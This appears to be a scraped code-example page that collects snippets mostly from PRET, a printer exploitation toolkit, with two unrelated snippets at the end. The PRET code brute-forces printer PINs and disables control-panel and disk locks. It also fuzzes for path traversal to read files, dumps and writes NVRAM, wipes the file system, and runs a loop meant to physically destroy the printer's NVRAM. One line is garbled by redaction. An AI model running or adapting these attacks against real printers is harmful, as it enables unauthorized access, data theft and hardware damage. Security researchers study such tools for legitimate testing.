예제 #1
0
 def ipp(self, host, lang):
     try:
         # poor man's way to get printer info via IPP
         sys.stdout.write("Checking for IPP support:         ")
         body = (
             "\x01\x01\x00\x0b\x00\x01\xab\x10\x01G\x00\x12attributes-charset\x00\x05utf-8H"
             +
             "\x00\x1battributes-natural-language\x00\x02enE\x00\x0bprinter-uri\x00\x14ipp:"
             +
             "//localhost/ipp/D\x00\x14requested-attributes\x00\x13printer-description\x03"
         ).encode()
         request = urllib.request.Request(
             "http://" + host + ":631/",
             data=body,
             headers={'Content-type': 'application/ipp'})
         response = urllib.request.urlopen(
             request, timeout=self.timeout).read().decode()
         # get name of device
         model = item(re.findall("MDL:(.+?);",
                                 response))  # e.g. MDL:hp LaserJet 4250
         # get language support
         langs = item(re.findall("CMD:(.+?);",
                                 response))  # e.g. CMD:PCL,PJL,POSTSCRIPT
         self.support = [
             _f for _f in
             [re.findall(re.escape(pdl), langs, re.I) for pdl in lang] if _f
         ]
         self.set_support(model)
         output().green("found")
     except Exception as e:
         output().errmsg("not found", e)
예제 #2
0
파일: printer.py 프로젝트: xiju2003/PRET
 def do_print(self, arg):
     'Print image file or raw text:  print <file>|"text"'
     '''
 ┌──────────────────────────────────────────────────────────┐
 │ Poor man's driverless PCL based printing (experimental)  │
 ├──────────────────────────────────────────────────────────┤
 │ Warning: ImageMagick and Ghostscript are used to convert │
 │ the document to be printed into a language understood be │
 │ the printer. Don't print anything from untrusted sources │
 │ as it may be a security risk (CVE-2016–3714, 2016-7976). │
 └──────────────────────────────────────────────────────────┘
 '''
     if not arg: arg = raw_input('File or "text": ')
     if arg.startswith('"'): data = arg.strip('"')  # raw text string
     elif arg.endswith('.ps'): data = file().read(arg)  # postscript file
     else:  # anything else…
         try:
             self.chitchat("Converting '" + arg + "' to PCL")
             pdf = ['-density', '300'] if arg.endswith('.pdf') else []
             cmd = ['convert'
                    ] + pdf + [arg, '-quality', '100', 'pcl' + ':-']
             out, err = subprocess.PIPE, subprocess.PIPE
             p = subprocess.Popen(cmd, stdout=out, stderr=err)
             data, stderr = p.communicate()
         except:
             stderr = "ImageMagick or Ghostscript missing"
         if stderr:
             output().errmsg("Cannot convert", item(stderr.splitlines()))
     if data:
         self.send(c.UEL + data + c.UEL)  # send pcl datastream to printer
예제 #3
0
파일: printer.py 프로젝트: xiju2003/PRET
 def do_open(self, arg, mode=""):
     "Connect to remote device:  open <target>"
     if not arg:
         arg = raw_input("Target: ")
     # open connection
     try:
         newtarget = (arg != self.target)
         self.target = arg  # set new target
         self.conn = conn(self.mode, self.debug, self.quiet)
         self.conn.timeout(self.timeout)
         self.conn.open(arg)
         print("Connection to " + arg + " established")
         # hook method executed after successful connection
         self.on_connect(mode)
         # show some information about the device
         if not self.quiet and mode != 'reconnect':
             sys.stdout.write("Device:   ")
             self.do_id()
         print("")
         # set printer default values
         self.set_defaults(newtarget)
     except Exception as e:
         output().errmsg("Connection to " + arg + " failed", str(e))
         self.do_close()
         # exit if run from init function (command line)
         if mode == 'init':
             self.do_exit()
예제 #4
0
파일: printer.py 프로젝트: xiju2003/PRET
 def mirror(self, name, size):
     target, vol = self.basename(self.target), self.get_vol()
     root = os.path.abspath(os.path.join('mirror', target, vol))
     lpath = os.path.join(root, name)
     '''
 ┌───────────────────────────────────────────────────────────┐
 │                 mitigating path traversal                 │
 ├───────────────────────────────────────────────────────────┤
 │ creating a mirror can be a potential security risk if the │
 │ path contains traversal characters, environment variables │
 │ or other things we have not thought about; while the user │
 │ is in total control of the path (via 'cd' and 'traversal' │
 │ commands), she might accidentally overwrite her files...  │
 │                                                           │
 │ our strategy is to first replace trivial path traversal   │
 │ strings (while still beeing able to download the files)   │
 │ and simply give up on more sophisticated ones for now.    │
 └───────────────────────────────────────────────────────────┘
 '''
     # replace path traversal (poor man's version)
     lpath = re.sub(r'(\.)+' + c.SEP, '', lpath)
     # abort if we are still out of the mirror root
     if not os.path.realpath(lpath).startswith(root):
         output().errmsg("Not saving data out of allowed path",
                         "I'm sorry Dave, I'm afraid I can't do that.")
     elif size:  # download current file
         output().raw(self.vol + name + " -> " + lpath)
         self.makedirs(os.path.dirname(lpath))
         self.do_get(self.vol + name, lpath, False)
     else:  # create current directory
         self.chitchat("Traversing " + name)
         self.makedirs(lpath)
예제 #5
0
 def do_disable(self, arg):
   jobmedia = self.cmd('@PJL DINQUIRE JOBMEDIA') or '?'
   if '?' in jobmedia: return output().info("Not available")
   elif 'ON' in jobmedia: self.do_set('JOBMEDIA=OFF', False)
   elif 'OFF' in jobmedia: self.do_set('JOBMEDIA=ON', False)
   jobmedia = self.cmd('@PJL DINQUIRE JOBMEDIA') or '?'
   output().info("Printing is now " + jobmedia)
예제 #6
0
파일: printer.py 프로젝트: xiju2003/PRET
 def fuzz_blind(self):
     output().raw("Blindly trying to read files.")
     # get a bottle of beer, fuzzing will take some time
     output().fuzzed('PATH', '', ('', 'GET', 'EXISTS'))
     output().hline()
     # try blind file access strategies (relative path)
     for path in fuzzer().rel:
         self.verify_blind(path, "")
     output().hline()
     # try blind file access strategies (absolute path)
     for vol in self.vol_exists() + fuzzer().blind:
         sep = '' if vol[-1:] in ['', '/', '\\'] else '/'
         sep2 = vol[-1:] if vol[-1:] in ['/', '\\'] else '/'
         # filenames to look for
         for file in fuzzer().abs:
             # set current delimiter
             if isinstance(file, list): file = sep2.join(file)
             path = vol + sep
             self.verify_blind(path, file)
             # vol name out of range error
             if self.error == '30054':
                 output().raw("Volume nonexistent, skipping.")
                 break
             # no directory traversal
             for dir in fuzzer().dir:
                 # n'th level traversal
                 for n in range(1, 3):
                     path = vol + sep + n * (dir + sep2)
                     self.verify_blind(path, file)
예제 #7
0
 def do_ls(self, arg):
     "List contents of virtual file system:  ls"
     pclfs = self.dirlist()
     if not pclfs:  # no files have yet been uploaded
         output().raw("This is a virtual pclfs. Use 'put' to upload files.")
     # list files with syntax highlighting
     for name, (id, size, date) in sorted(pclfs.items()):
         output().pcldir(size, conv().lsdate(int(date)), id, name)
예제 #8
0
 def do_hold(self, arg):
   "Enable job retention."
   self.chitchat("Setting job retention, reconnecting to see if still enabled")
   self.do_set('HOLD=ON', False)
   self.do_reconnect()
   output().raw("Retention for future print jobs: ", '')
   hold = self.do_info('variables', '^HOLD', False)
   output().info(item(re.findall("=(.*)\s+\[", item(item(hold)))) or 'NOT AVAILABLE')
예제 #9
0
파일: printer.py 프로젝트: xiju2003/PRET
 def verify_blind(self, path, name):
     # 1st method: GET
     opt1 = self.get(path + name, 10)[1]  # file size is unknown :/
     opt1 = (True if opt1 and not "FILEERROR" in opt1 else False)
     # 2nd method: EXISTS
     opt2 = (self.file_exists(path + name) != c.NONEXISTENT)
     # show fuzzing results
     output().fuzzed(path + name, "", ('', opt1, opt2))
예제 #10
0
파일: printer.py 프로젝트: xiju2003/PRET
 def rpath(self, path=""):
     # warn if path contains volume information
     if (path.startswith("%") or path.startswith('0:')) and not self.fuzz:
         output().warning("Do not refer to disks directly, use chvol.")
     # in fuzzing mode leave remote path as it is
     if self.fuzz: return path
     # prepend volume information to virtual path
     return self.vol + self.vpath(path)
예제 #11
0
 def do_offline(self, arg):
   "Take printer offline and display message:  offline <message>"
   if not arg:
     arg = eval(input("Offline display message: "))
   arg = arg.strip('"') # remove quotes
   output().warning("Warning: Taking the printer offline will prevent yourself and others")
   output().warning("from printing or re-connecting to the device. Press CTRL+C to abort.")
   if output().countdown("Taking printer offline in...", 10, self):
     self.cmd('@PJL OPMSG DISPLAY="' + arg + '"', False)
예제 #12
0
 def get_models(self, file):
   try:
     with open(self.rundir + "db" + os.path.sep + file, 'r') as f:
       models = filter(None, (line.strip() for line in f))
     f.close()
     return models
   except IOError as e:
     output().errmsg("Cannot open file", str(e))
     return []
예제 #13
0
 def do_ls(self, arg):
   "List contents of remote directory:  ls <path>"
   list = self.dirlist(arg, False, True)
   # remove '.' and '..' from non-empty directories
   if set(list).difference(('.', '..')):
     for key in set(list).intersection(('.', '..')): del list[key]
   # list files with syntax highlighting
   for name, size in sorted(list.items()):
     output().pjldir(name, size)
예제 #14
0
파일: printer.py 프로젝트: xiju2003/PRET
 def reconnect(self, msg):
     # on incomplete command show error message
     if msg: output().errmsg("Command execution failed", msg)
     sys.stdout.write(os.linesep + "Forcing reconnect. ")
     # workaround to flush socket buffers
     self.do_close()
     self.do_open(self.target, 'reconnect')
     # on CTRL+C spawn a new shell
     if not msg: self.cmdloop(intro="")
예제 #15
0
파일: printer.py 프로젝트: xiju2003/PRET
 def do_cat(self, arg):
     "Output remote file to stdout:  cat <file>"
     if not arg:
         arg = raw_input("Remote file: ")
     path = self.rpath(arg)
     str_recv = self.get(path)
     if str_recv != c.NONEXISTENT:
         rsize, data = str_recv
         output().raw(data.strip())
예제 #16
0
 def get_models(self, file):
     try:
         with open(self.rundir + "db" + os.path.sep + file, 'r') as f:
             models = [_f for _f in (line.strip() for line in f) if _f]
         f.close()
         return models
     except IOError as e:
         output().errmsg("Cannot open file", e)
         return []
예제 #17
0
 def do_nvram(self, arg):
   # dump nvram
   if arg.startswith('dump'):
     bs = 2**9    # memory block size used for sampling
     max = 2**18  # maximum memory address for sampling
     steps = 2**9 # number of bytes to dump at once (feedback-performance trade-off)
     lpath = os.path.join('nvram', self.basename(self.target)) # local copy of nvram
     #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
     # ******* sampling: populate memspace with valid addresses ******
     if len(re.split("\s+", arg, 1)) > 1:
       memspace = []
       commands = ['@PJL RNVRAM ADDRESS=' + str(n) for n in range(0, max, bs)]
       self.chitchat("Sampling memory space (bs=" + str(bs) + ", max=" + str(max) + ")")
       for chunk in (list(chunks(commands, steps))):
         str_recv = self.cmd(c.EOL.join(chunk))
         # break on unsupported printers
         if not str_recv: return
         # collect valid memory addresses
         blocks = re.findall('ADDRESS\s*=\s*(\d+)', str_recv)
         for addr in blocks: memspace += list(range(conv().int(addr), conv().int(addr) + bs))
         self.chitchat(str(len(blocks)) + " blocks found. ", '')
     else: # use fixed memspace (quick & dirty but might cover interesting stuff)
       memspace = list(range(0, 8192)) + list(range(32768, 33792)) + list(range(53248, 59648))
     #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
     # ******* dumping: read nvram and write copy to local file ******
     commands = ['@PJL RNVRAM ADDRESS=' + str(n) for n in memspace]
     self.chitchat("Writing copy to " + lpath)
     if os.path.isfile(lpath): file().write(lpath, '') # empty file
     for chunk in (list(chunks(commands, steps))):
       str_recv = self.cmd(c.EOL.join(chunk))
       if not str_recv: return # break on unsupported printers
       else: self.makedirs('nvram') # create nvram directory
       data = ''.join([conv().chr(n) for n in re.findall('DATA\s*=\s*(\d+)', str_recv)])
       file().append(lpath, data) # write copy of nvram to disk
       output().dump(data) # print asciified output to screen
     print()
   #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   # read nvram (single byte)
   elif arg.startswith('read'):
     arg = re.split("\s+", arg, 1)
     if len(arg) > 1:
       arg, addr = arg
       output().info(self.cmd('@PJL RNVRAM ADDRESS=' + addr))
     else: self.help_nvram()
   #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   # write nvram (single byte)
   elif arg.startswith('write'):
     arg = re.split("\s+", arg, 2)
     if len(arg) > 2:
       arg, addr, data = arg
       self.cmd('@PJL SUPERUSER PASSWORD=0' + c.EOL
              + '@PJL WNVRAM ADDRESS=' + addr + ' DATA=' + data + c.EOL
              + '@PJL SUPERUSEROFF', False)
     else: self.help_nvram()
   else:
     self.help_nvram()
예제 #18
0
파일: printer.py 프로젝트: xiju2003/PRET
 def do_cd(self, arg):
     "Change remote working directory:  cd <path>"
     if not self.cpath(arg) or self.dir_exists(self.rpath(arg)):
         if re.match("^[\." + c.SEP + "]+$", self.cpath(arg)):
             output().raw("*** Congratulations, path traversal found ***")
             output().chitchat(
                 "Consider setting 'traversal' instead of 'cd'.")
         self.set_cwd(arg)
     else:
         print("Failed to change directory.")
예제 #19
0
파일: printer.py 프로젝트: xiju2003/PRET
 def do_timeout(self, arg, quiet=False):
     "Set connection timeout:  timeout <seconds>"
     try:
         if arg:
             if self.conn: self.conn.timeout(float(arg))
             self.timeout = float(arg)
         if not quiet:
             print("Device or socket timeout: " + str(self.timeout))
     except Exception as e:
         output().errmsg("Cannot set timeout", str(e))
예제 #20
0
파일: printer.py 프로젝트: xiju2003/PRET
 def verify_write(self, path, name, data, cmd):
     # 1st method: GET
     opt1 = (data in self.get(path + name, len(data))[1])
     # 2nd method: EXISTS
     opt2 = (self.file_exists(path + name) != c.NONEXISTENT)
     # 3rd method: DIRLIST
     opt3 = (name in self.dirlist(path, False))
     # show fuzzing results
     output().fuzzed(path + name, cmd, (opt1, opt2, opt3))
     return opt1
예제 #21
0
 def do_destroy(self, arg):
   "Cause physical damage to printer's NVRAM."
   output().warning("Warning: This command tries to cause physical damage to the")
   output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.")
   if output().countdown("Starting NVRAM write cycle loop in...", 10, self):
     self.chitchat("Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?")
     date = conv().now() # timestamp the experiment started
     steps = 100 # number of pjl commands to send at once
     chunk = ['@PJL DEFAULT COPIES=' + str(n%(steps-2)) for n in range(2, steps)]
     for count in range(0, 10000000):
       # test if we can still write to nvram
       if count%10 == 0:
         self.do_set("COPIES=42" + arg, False)
         copies = self.cmd('@PJL DINQUIRE COPIES') or '?'
         if not copies or '?' in copies:
           output().chitchat("I'm sorry Dave, I'm afraid I can't do that.")
           if count > 0: output().chitchat("Device crashed?")
           return
         elif not '42' in copies:
           self.chitchat("\rI'm afraid. I'm afraid, Dave. Dave, my mind is going...")
           dead = conv().elapsed(conv().now() - date)
           print(("NVRAM died after " + str(count*steps) + " cycles, " + dead))
           return
       # force writing to nvram using by setting a variable many times
       self.chitchat("\rNVRAM write cycles:  " + str(count*steps), '')
       self.cmd(c.EOL.join(chunk) + c.EOL + '@PJL INFO ID')
   print() # echo newline if we get this far
예제 #22
0
파일: printer.py 프로젝트: xiju2003/PRET
 def do_loop(self, arg):
     "Run command for multiple arguments:  loop <cmd> <arg1> <arg2> …"
     args = re.split("\s+", arg)
     if len(args) > 1:
         cmd = args.pop(0)
         for arg in args:
             output().chitchat("Executing command: '" + cmd + " " + arg +
                               "'")
             self.onecmd(cmd + " " + arg)
     else:
         self.onecmd("help loop")
예제 #23
0
파일: pjl.py 프로젝트: y0d4a/PRET
 def do_printenv(self, arg):
     "Show printer environment variable:  printenv <VAR>"
     str_recv = self.cmd('@PJL INFO VARIABLES')
     variables = []
     for item in str_recv.splitlines():
         var = re.findall("^(.*)=", item)
         if var:
             variables += var
         self.options_printenv = variables
         match = re.findall("^(" + re.escape(arg) + ".*)\s+\[", item, re.I)
         if match: output().info(match[0])
예제 #24
0
파일: pjl.py 프로젝트: y0d4a/PRET
 def do_format(self, arg):
     "Initialize printer's mass storage file system."
     output().warning(
         "Warning: Initializing the printer's file system will whipe-out all"
     )
     output().warning(
         "user data (e.g. stored jobs) on the volume. Press CTRL+C to abort."
     )
     if output().countdown("Initializing volume " + self.vol[:2] + " in...",
                           10, self):
         self.cmd('@PJL FSINIT VOLUME="' + self.vol[0] + '"', False)
예제 #25
0
 def do_info(self, arg):
     if arg in self.entities:
         entity, desc = self.entities[arg]
         for location in self.locations:
             output().raw(desc + " " + self.locations[location])
             str_send = '*s' + location + 'T'  # set location type
             str_send += c.ESC + '*s0U'  # set location unit
             str_send += c.ESC + '*s' + entity + 'I'  # set inquire entity
             output().info(self.cmd(str_send))
     else:
         self.help_info()
예제 #26
0
def main(**kwargs):
    """
    Display version information for this package

    :param **kwargs - Not used
    """

    logger = logging.getLogger(log.ROOT_LOGGER_NAME)
    logger.debug('Executing %s' % ACTION)

    helper.output(u"%s version %s" % (pkginfo.package, pkginfo.version))

    return exitcodes.EX_OK
예제 #27
0
파일: pjl.py 프로젝트: y0d4a/PRET
 def do_unlock(self, arg):
     "Unlock control panel settings and disk write access."
     # first check if locking is supported by device
     str_recv = self.cmd('@PJL DINQUIRE PASSWORD')
     if not str_recv or '?' in str_recv:
         return output().errmsg("Cannot unlock",
                                "locking not supported by device")
     # user-supplied pin vs. 'exhaustive' key search
     if not arg:
         print("No PIN given, cracking.")
         keyspace = [""] + range(1,
                                 65536)  # protection can be bypassed with
     else:  # empty password one some devices
         try:
             keyspace = [int(arg)]
         except Exception as e:
             output().errmsg("Invalid PIN", str(e))
             return
     # for optimal performance set steps to 500-1000 and increase timeout
     steps = 500  # set to 1 to get actual PIN (instead of just unlocking)
     # unlock, bypass or crack PIN
     for chunk in (list(chunks(keyspace, steps))):
         str_send = ""
         for pin in chunk:
             # try to remove PIN protection
             str_send += '@PJL JOB PASSWORD='******'@PJL DEFAULT PASSWORD=0' + c.EOL
         # check if PIN protection still active
         str_send += '@PJL DINQUIRE PASSWORD'
         # visual feedback on cracking process
         if len(keyspace) > 1 and pin:
             self.chitchat(
                 "\rTrying PIN " + str(pin) + " (" + "%.2f" %
                 (pin / 655.35) + "%)", '')
         # send current chunk of PJL commands
         str_recv = self.cmd(str_send)
         # seen hardcoded strings like 'ENABLED', 'ENABLE' and 'ENALBED' (sic!) in the wild
         if str_recv.startswith("ENA"):
             if len(keyspace) == 1:
                 output().errmsg("Cannot unlock", "Bad PIN")
         else:
             # disable control panel lock and disk lock
             self.cmd(
                 '@PJL DEFAULT CPLOCK=OFF' + c.EOL +
                 '@PJL DEFAULT DISKLOCK=OFF', False)
             if len(keyspace) > 1 and pin:
                 self.chitchat("\r")
             # exit cracking loop
             break
     self.show_lock()
예제 #28
0
 def http(self, host):
   try:
     # poor man's way get http title
     sys.stdout.write("Checking for HTTP support:        ")
     html = urllib2.urlopen("http://" + host, timeout=self.timeout).read()
     # cause we are to parsimonious to import BeautifulSoup ;)
     title = re.findall("<title.*?>\n?(.+?)\n?</title>", html, re.I|re.M|re.S)
     # get name of device
     model = item(title)
     # get language support
     self.set_support(model)
     output().green("found")
   except Exception as e:
     output().errmsg("not found", str(e))
예제 #29
0
파일: pjl.py 프로젝트: y0d4a/PRET
 def fswalk(self, arg, mode, recursive=False):
     # add traversal and cwd in first run
     if not recursive: arg = self.vpath(arg)
     # add volume information to pathname
     path = self.vol + self.normpath(arg)
     list = self.dirlist(path, True, False, False, False)
     # for files in current directory
     for name, size in sorted(list.items()):
         name = self.normpath(arg) + self.get_sep(arg) + name
         name = name.lstrip(c.SEP)  # crop leading slashes
         # execute function for current file
         if mode == 'find': output().raw(c.SEP + name)
         if mode == 'mirror': self.mirror(name, size)
         # recursion on directory
         if not size: self.fswalk(name, mode, True)
예제 #30
0
 def do_info(self, arg, item='', echo=True):
   if arg in self.options_info or not echo:
     str_recv = self.cmd('@PJL INFO ' + arg.upper()).rstrip()
     if item:
       match = re.findall("(" + item + "=.*(\n\t.*)*)", str_recv, re.I|re.M)
       if echo:
         for m in match: output().info(m[0])
         if not match: print("Not available.")
       return match
     else:
       for line in str_recv.splitlines():
         if arg == 'id': line = line.strip('"')
         if arg == 'filesys': line = line.lstrip()
         output().info(line)
   else:
     self.help_info()
예제 #31
0
파일: printer.py 프로젝트: xiju2003/PRET
 def verify_path(self, path, found={}):
     # 1st method: EXISTS
     opt1 = (self.dir_exists(path) or False)
     # 2nd method: DIRLIST
     dir2 = self.dirlist(path, False)
     opt2 = (True if dir2 else False)
     # show fuzzing results
     output().fuzzed(path, "", ('', opt1, opt2))
     if opt2:  # DIRLIST successful
         # add path if not already listed
         if dir2 not in found.values():
             found[path] = dir2
             output().raw("Listing directory.")
             self.do_ls(path)
     elif opt1:  # only EXISTS successful
         found[path] = None
예제 #32
0
 def _search(self, q, token, fields, maxResults):
     """This is where the actual search is happening"""
     
     if token:
         # print "Fetching next", maxResults, "items with token", str(token[0:15]) + "..."
         msg = "Fetching next " + str(maxResults) + " items with token " + str(token)
         output(msg)
     
     url = 'https://www.googleapis.com/drive/v2/files'
     
     params = {
         "pageToken": token,
         "q": q,
         "maxResults": maxResults,
         "fields": fields
     }
     
     r = requests.get(url, headers=self.user.headers(), params=params)
     
     data = r.json()
     return data